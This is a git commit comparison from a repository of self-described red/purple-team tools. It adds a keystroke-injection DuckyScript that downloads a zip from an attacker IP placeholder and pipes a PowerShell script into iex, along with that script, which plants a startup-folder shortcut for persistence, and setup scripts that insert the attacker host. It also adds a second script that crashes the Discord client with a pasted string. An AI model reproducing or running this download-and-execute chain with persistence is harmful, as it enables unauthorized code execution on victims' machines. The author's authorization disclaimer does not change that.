Compare commits
29 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 3ab048e6bc | |||
| 91596a736f | |||
| 5b98f47875 | |||
| 352b4740f4 | |||
| b13c5e1f38 | |||
| 59f3b78222 | |||
| c3e806b725 | |||
| 578fb6b512 | |||
| 9791e1b886 | |||
| a89dc0a98c | |||
| 6988348297 | |||
| 97f37c42db | |||
| 5041471bf5 | |||
| 4c32c797e5 | |||
| a2408392a9 | |||
| 0723ee2b2e | |||
| 7e089a2556 | |||
| 665b59a62a | |||
| 300a0bb90b | |||
| dc39957706 | |||
| 3ddebfa818 | |||
| f7ea353e8e | |||
| 51df053bc7 | |||
| decdad9c0f | |||
| 8a56414b2d | |||
| 75d98d6819 | |||
| b6d223d87c | |||
| 373c53f6fb | |||
| 8a394ca1a7 |
@@ -0,0 +1,23 @@
|
|||||||
|
REM TITLE GooseDropper
|
||||||
|
REM AUTHOR Fr3ki
|
||||||
|
REM DESCRIPTION Grab the Desktop Goose executable from an attacker machine and run it on the victim PC
|
||||||
|
DELAY 500
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell wget YOUR_IP/ZIP -OutFile $ENV:Temp/Update.zip
|
||||||
|
ENTER
|
||||||
|
DELAY 8000
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell Expand-Archive $ENV:Temp\Update.zip -DestinationPath $ENV:Temp\Chrome_Update
|
||||||
|
ENTER
|
||||||
|
DELAY 3000
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell gc $env:Temp\Chrome_Update\Update\PersistentGoose.ps1 | iex
|
||||||
|
ENTER
|
||||||
|
DELAY 1000
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING %Temp%\Chrome_Update\Update\GooseDesktop.exe
|
||||||
|
ENTER
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
$WScriptShell = New-Object -ComObject WScript.Shell
|
||||||
|
$TargetFile = "$env:Temp\Chrome_Update\Update\GooseDesktop.exe"
|
||||||
|
$ShortcutFile = "C:\Users\$env:UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HONK.lnk"
|
||||||
|
$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
|
||||||
|
$Shortcut.TargetPath = $TargetFile
|
||||||
|
$Shortcut.Save()
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
**======= Goose Dropper v2.0 ========**
|
||||||
|
|
||||||
|
This is a duckyscript originally designed for Flipper-Zero to drop Desktop Goose (by Samperson) on a Windows PC. **NOW WITH PERSISTENCE**
|
||||||
|
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------------------------------------
|
||||||
|
**Important Notes:**
|
||||||
|
|
||||||
|
Ensure configuration is run while on the same network as your target, re-configure with each new network, unless the download location provided is publicly accessible.
|
||||||
|
|
||||||
|
All credit goes to Samperson for the development of Desktop Goose: https://itch.io/profile/samperson | https://twitter.com/samnchiet
|
||||||
|
|
||||||
|
**=== v2.0 Notes ==**
|
||||||
|
|
||||||
|
Added persistence via a PowerShell script that makes a shortcut in the startup folder.
|
||||||
|
|
||||||
|
Revamped updater with more options and better dialogue.
|
||||||
|
|
||||||
|
Bugfixes to ensure payloads get delivered successfully.
|
||||||
|
|
||||||
|
**=== v2.1 Notes ==**
|
||||||
|
|
||||||
|
Simplified configurators to remove unnecessary complexity
|
||||||
|
|
||||||
|
Added Windows auto-configuration tool.
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
IP=$1
|
||||||
|
ZIP=$2
|
||||||
|
PERSIST=$3
|
||||||
|
|
||||||
|
#Ensure required arguments are not empty
|
||||||
|
if [ "${IP}" == "" ] | [ "${ZIP}" == "" ];
|
||||||
|
then
|
||||||
|
echo "Usage: sh linux_setup.sh <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
|
||||||
|
#Check for help command
|
||||||
|
if [ "${IP,,}" == "-h" ] | [ "${IP,,}" == "help" ];
|
||||||
|
then
|
||||||
|
echo "Usage: sh linux_setup.sh <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
|
||||||
|
#Replace placeholders with provided values
|
||||||
|
sed -i "s/YOUR_IP/$IP/" GooseDropper.txt
|
||||||
|
sed -i "s/ZIP/$ZIP/" GooseDropper.txt
|
||||||
|
|
||||||
|
#Remove persistance if desired
|
||||||
|
if [ "${PERSIST,,}" == "n" ];
|
||||||
|
then
|
||||||
|
sed -i "15d;16d;17d;18d;19d" GooseDropper.txt
|
||||||
|
else
|
||||||
|
break
|
||||||
|
fi
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
param (
|
||||||
|
[string]$HELP,
|
||||||
|
[string]$IP,
|
||||||
|
[string]$ZIP,
|
||||||
|
[string]$PERSIST
|
||||||
|
)
|
||||||
|
|
||||||
|
# Ensure required arguments are not empty
|
||||||
|
if (-not $IP -or -not $ZIP) {
|
||||||
|
Write-Host "Usage: .\windows_setup.ps1 <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
|
||||||
|
exit
|
||||||
|
}
|
||||||
|
|
||||||
|
# Check for help command
|
||||||
|
if ($HELP) {
|
||||||
|
Write-Host "Usage: .\windows_setup.ps1 <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
|
||||||
|
exit
|
||||||
|
}
|
||||||
|
|
||||||
|
# Replace placeholders with provided values
|
||||||
|
(Get-Content "GooseDropper.txt") | ForEach-Object { $_ -replace 'YOUR_IP', $IP -replace 'ZIP', $ZIP } | Set-Content "GooseDropper.txt"
|
||||||
|
|
||||||
|
# Remove persistence if desired
|
||||||
|
if ($PERSIST.ToLower() -eq "n") {
|
||||||
|
$lines = Get-Content "GooseDropper.txt"
|
||||||
|
$lines = $lines[0..14] + $lines[19..($lines.Length - 1)]
|
||||||
|
Set-Content "GooseDropper.txt" $lines
|
||||||
|
} else {
|
||||||
|
break
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
# This specific "Exploit" has been patched and is no-longer usable.
|
||||||
|
---
|
||||||
|
|
||||||
|
Kill_Discord is a duckyscript that does exactly what the name implies.
|
||||||
|
|
||||||
|
As of April 2024 the string "http://./\<#0>: ://./<#0>" without the quotes will crash your Discord client when pasted into any message box.
|
||||||
|
|
||||||
|
This script opens Discord on the target machine and pastes that string into the first available text box.
|
||||||
|
|
||||||
|
Just to reitterate this crashes the Discord client of the SENDER, hence the need for a duckyscript.
|
||||||
|
|
||||||
|
As always, don't be a skid, and only use these scripts on devices which you are expresely authorized to use them on. I am not liable for any unauthorized usage or damage caused by the usage of this tool.
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
DELAY 500
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING C:\ProgramData\%USERNAME%\Discord\Update.exe --processStart Discord.exe
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
DELAY 2000
|
||||||
|
CTRL k
|
||||||
|
DELAY 100
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
|
STRING http://./\<#0>: ://./<#0>
|
||||||
@@ -1,2 +1,6 @@
|
|||||||
# Misadventures
|
# Misadventures
|
||||||
Red/Purple-Team tools
|
This is a set of Red and Purple team tools I've developed, mostly just for fun, but some may find them useful.
|
||||||
|
|
||||||
|
Feel free to leave tips, comments, or suggestion in the comments, on my website at https://fr3ki.xyz or my twitter @Fr3ki_
|
||||||
|
|
||||||
|
Licence: https://www.gnu.org/licenses/gpl-3.0.html
|
||||||
|
|||||||
Reference in New Issue
Block a user